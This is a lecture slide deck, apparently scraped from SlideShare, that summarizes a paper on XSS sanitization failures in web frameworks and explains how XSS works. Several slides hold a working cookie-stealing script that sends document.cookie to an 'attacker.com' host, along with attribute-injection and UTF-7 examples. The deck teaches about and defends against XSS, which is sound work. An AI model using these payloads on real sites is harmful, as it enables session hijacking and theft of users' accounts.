XSS presentation


Published on

XSS Presentation

Published in: Technology
1 Like
  • Be the first to comment

No Downloads
Total Views
On Slideshare
From Embeds
Number of Embeds
Embeds 0
No embeds

No notes for slide

XSS presentation

  1. 1. THE BROKEN WEB A Systematic Analysis of XSS Sanitization in Web Application Frameworks
  2. 2. Executive summary •  Web page processing analyzed in detail •  Sanitization is quite complex •  Context sensitive •  14 WEB frameworks analyzed •  None handle sanitization properly •  In some cases they give a false sense of security because the algorithm is wrong
  3. 3. HTTP background GET www.example.com/ sample.html •  Client sends request to server www.example.com:/ sample.html <h>Sample file</h> <p>This is a sample</p> •  Server locates and sends back file Sample file This is a sample •  Client displays file Basic HTTP operation
  4. 4. HTTP background GET www.example.com/ sample.php •  Client sends request Sample.php: <?php echo ‘<h>Sample file</h>’; echo ‘<p>This is a sample</p>’; ?> •  Server executes script <h>Sample file</h> <p>This is a sample</p> •  Server returns generated file Sample file This is a sample •  Client displays file Server side scripting
  5. 5. HTTP background POST www.example.com/ sample.php? name=Mr. Dummy&soc=234- 23-5555&credit=12 34-1234-1234-123 4 •  Client sends data to server Sample.php: <?php # save data somewhere …. echo ‘<p>Now I own you.</p>’ ?> •  Server executes script Please send me your important financial information: Name: Mr. Dummy__ Soc: 234-23-5555 Credit card number: 1234-1234-1234-1234 SUBMIT •  User fills in fields and presses ‘Submit’ Form management Now I own you. •  Server sends response page to client
  6. 6. HTTP background Client side scripting <html> <body> <h1>My First Web Page</h1> <script type="text/javascript"> document.write("<p>" + Date() + "</p>"); </script> </body> </html>
  7. 7. HTTP background Client side scripting <html> <body> <h1>My First Web Page</h1> <p>Tue Feb 28 2012 14:28:07 GMT-0500 (EST)</p> </body> </html>
  8. 8. HTTP background Client side scripting My First Web Page Tue Feb 28 2012 14:28:07 GMT-0500 (EST)
  9. 9. XSS attack Server side code prints text entered by a user from an earlier session. Consider this code: <?php echo ‘<p>Note from ‘.$user.’</p>’ echo ‘<p>’.$note.’</p>’ ?> Suppose $note contains <script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script> The sky is falling.
  10. 10. XSS attack The result is that the following is sent to your browser: <p>Note from Mr. Apocalypse</p> <p> <script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script>The sky is falling. </p>
  11. 11. XSS attack Your browser displays the following: Note from Mr. Apocalypse [img] The sky is falling. And the attacker has gotten your cookie.
  12. 12. XSS attack The attacker simply needed to enter this script on the screen used to post the note. Logged in as: Mr. Apocalypse Text of message to post: <script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script>The sky is falling._______ Any website that echoes back a user input can be used for an XSS attack.
  13. 13. XSS attack •  The following can be used to obtain the cookie for your bank account: <script>document.location='http://banking.com/search? name=<script>document.write("<img src=http:// attacker.com/" + document.cookie + ">")</script>'</script>
  14. 14. Sanitization One solution is to escape out sensitive characters <script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script> becomes &lt;script&gt;document.write(“&lt;img src=http:// attacker.com/" + document.cookie + “&gt;”)&lt;/script&gt; Problem: sanitization needs to be done in a context sensitive manner and the rules are very complex
  15. 15. Web page parsing
  16. 16. Challenge 1: context sensitivity Consider this code: echo ‘<p>’.$note.’</p>’ Here one can replace ‘<‘ with &lt; and ‘> with &gt; to block attacks. However consider: echo ‘<img src=‘.$url.’>’ Consider the following url: picture.jpg’ onLoad=‘document.location=…”
  17. 17. Challenge 2: Sanitizing nested contexts Consider this piece of php code: echo ‘<script> var x = ‘.$UNTRUSTED_DATA.’...</script>’ One needs to block both the possibility of a </script> and that of a ‘ to prevent attacks
  18. 18. Challenge 3: Browser transductions Consider: <div class=‘comment-box’onclick=‘displayComment(" UNTRUSTED",this)’> ... hidden comment ... </div> Even if all the “ characters are replaced with &quot, HTML 5 removes the encoding before passing the text to Javascript.
  19. 19. Challenge 4: Dynamic code Consider this program: function foo(untrusted) { document.write("<input onclick=’foo(" + untrusted + ")’ >"); } Evaluation generates html code that will repeat the call to the function.
  20. 20. Challenge 5: Character set issues +ADw- maps to < in UTF-7 The sanitizer needs to recognize the character set conversion
  21. 21. Challenge 6: everything else •  MIME based XSS •  Browser bugs •  Capability leaks •  Parsing inconsistencies •  Browser extensions •  Adobe flash is fairly buggy
  22. 22. Evaluation of web frameworks and applications •  Subjects •  14 popular web application frameworks •  8 popular php applications •  Evaluation •  Auto-sanitization and/or sanitization libraries •  Dynamic sanitization handling
  23. 23. Auto sanitization •  7 of 14 support auto sanitization •  4 of 7 of these perform context insensitive sanitization which is inherently unsafe •  14.8%-33.6% of output sinks fail to be protected by auto sanitization in 10 popular Django application
  24. 24. Context sensitive sanitization •  Performed by 3 of 7 frameworks •  GWT, Google Clearsilver, and Google Ctemplate •  Involved a runtime parser that checked the context and applied the appropriate sanitization function •  User needs to mark untrusted variables •  No detailed analysis of reliability •  I assume they worked reasonably well
  25. 25. Manual sanitization •  Prone to error •  Variables missed •  Wrong sanitization function used
  26. 26. Dynamic code evaluation •  Perform appropriate runtime checks before printing untrusted strings •  Generally not supported by frameworks •  Four frameworks provided static sanitization of untrusted strings within the context of Javascript constants
  27. 27. DOM based errors •  Javascript can actually reference the content of a web page <h1>This page changes itself</h1> <a name=“xxx”>Original content</a> <script> document.anchors[0].innerHTML=“New content”; </script>
  28. 28. DOM based errors •  Javascript can actually reference the content of a web page <h1>This page changes itself</h1> <a name=“xxx”>New content</a> <script> document.anchors[0].innerHTML=“New content”; </script>
  29. 29. DOM based errors •  Consider this code: text = element.getAttribute(’title’); // ... elided ... desc = create_element(’span’, ’bottom’); desc.innerHTML = text; tooltip.appendChild(desc); This code read an element from the HTML, destroy escaping and reinsert it elsewhere To avoid bug: use of innerText to write or innerHTML to read
  30. 30. DOM based errors •  Ignored by frameworks •  Cause many XSS vulnerabilities
  31. 31. Expressiveness of contexts in web applications •  8 php applications analyzed •  19-532KLOC •  All applications emit untrusted data into all contexts •  Applications sometimes employ different sanitizers for the same context •  General conclusion: frameworks do not provide sufficient sanitization support
  32. 32. Manual sanitization expressiveness •  9 of 14 frameworks do not support contexts other than the generic HTML •  4 provided sanitizers for Javascript string context •  1 framework provided a sanitizer for Javascript number and boolean contexts •  None allow for sanitization of Javascript code •  Only one framework allowed customization of the sanitizer within a context—the others had a pre-packaged sanitizer for all contexts
  33. 33. Correctness of sanitizers •  Sanitizers prone to error •  In frameworks they usually work on a “whitelist” model in which only structures following specific patterns are allowed •  One framework uses a “blacklist” model in which specific strings are forbidden •  Frameworks rely on canonical form into which all output is formatted to simplify sanitizers •  The authors conclude that the “whitelist” approach should be researched. The “blacklist” approach is too error prone.
  34. 34. Related work •  XSS analysis and defense •  Server side code errors •  Javascript code errors •  Research identifies vulnerabilities •  Untrusted data showing up in output •  Improper sanitization •  Server side solutions •  BLUEPRINT, SCRIPTGARD, XSS-GUARD •  Formalize web model to design sanitizers •  Client side •  XSS-Auditor •  Analyze browser reference patterns to try and identify attacks •  Does not separate trusted and untrusted data •  Studies in sanitizer correctness •  Manual process of adding sanitization is error prone •  None provide a good underlying model for sanitizers •  Taint tracking and security typed languages
  35. 35. Paper’s conclusions •  Current frameworks do not properly manage sanitization •  The paper suggests a future direction of producing a formal model of the browser’s behavior
  36. 36. Some later work •  Saxena developed php analysis tools •  Model checker – symbolic execution of php to try and find dangerous code •  Static analysis—tries to identify and incorporate sanitizers based on the context of a print •  Probably the better approach •  Needs to be integrated with some sort of dynamic analysis
  37. 37. Discussion questions •  What is the best approach for solving XSS? •  In addition to technical issues, what practical issues need to be addressed to get a solution deployed? For example, asking everyone to rewrite their php code is going to be difficult. •  Should the government get involved in regulating web sites to make sure basic protection standards are upheld?
  38. 38. XSS attack game •  2 teams •  Source code available from www.cs.jhu.edu/~roe •  Look for $_GET and $_POST variables for user input •  Use MAMP to run